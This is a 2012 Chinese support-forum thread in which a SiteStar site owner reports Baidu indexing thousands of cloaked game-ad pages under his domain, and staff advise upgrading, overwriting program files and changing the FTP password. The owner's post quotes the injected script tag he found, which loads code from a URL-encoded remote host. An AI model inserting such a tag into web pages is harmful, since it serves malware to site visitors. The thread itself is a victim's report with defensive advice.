谁能解释一下这是怎么回事？BUG？安全漏洞？

jmstvnews · 发表于 2012-1-25 22:45:40

前几天，用百度查了一下，我的网站居然2天之内被收录了2万+的页面，查看这些页面时候我就傻了。百度收录的都是游戏广告网页，网址都是我的网站地址，点击进去后没有出现广告，显示的是我的正常网页。可是，现在百度已经不再收录我的网站，快照也不更新了。不知道问题出在哪里。

上网用百度搜索一下“龙年赞”居然发现很大的问题，好多网站在搜索时候都被这个“龙年赞”的众多网页所代替，而且这些网站基本都采用sitestar或ECSshop做的。
请管理能不能解释一下，这是怎么回事？截图如下：

jmstvnews · 发表于 2012-1-27 17:54:25

下载最新服务器安装包安装？那原来的网站内容还会保留吗？

而且，只有百度搜索会这样，其他搜索引擎没有这样。
从百度搜索结果含有“龙年赞”的字样进入页面，查看源代码，会发现第一行有“<script src=http://%63%2E%64%6E%70%6B%2E%6D%65%2E:7050/all.asp></script>“字样。而直接输入网址，或者刷新再查看源文件，就没有了这些。
我查了一下，明显是script挂马吧。
所以我糊涂了，请大侠帮我分析一下，是我的网站中了，还是服务器中了，还是百度搜索引擎中了？怎么解决啊，我的程序已经是sitestar2.2了

lhlh · 发表于 2012-1-27 18:39:00

1，将程序升级为最新版本。
2，用最新版本覆盖您当前的程序文件，并对比检查不是建站之星的程序代码。
3，修改您空间的ftp密码。

jmstvnews · 发表于 2012-1-27 19:06:43

回复 4# lhlh

我已经升级到2.2版本了。还是会这样。
怎样用新版本程序覆盖原版本文件？我下载了2.2的安装包，把什么文件夹覆盖呢？覆盖了网站内容会不会丢失？
另外，建站之星用的是什么编辑器？据说fckeditor编辑器有上传漏洞。
http://www.qdxw.net/xwhtml/30.html

lhlh · 发表于 2012-1-27 20:14:19

覆盖除upload以后的文件夹。覆盖内容不会丢失，但建议您先备份。请先检查您的文件之前是否被上传了挂马文件。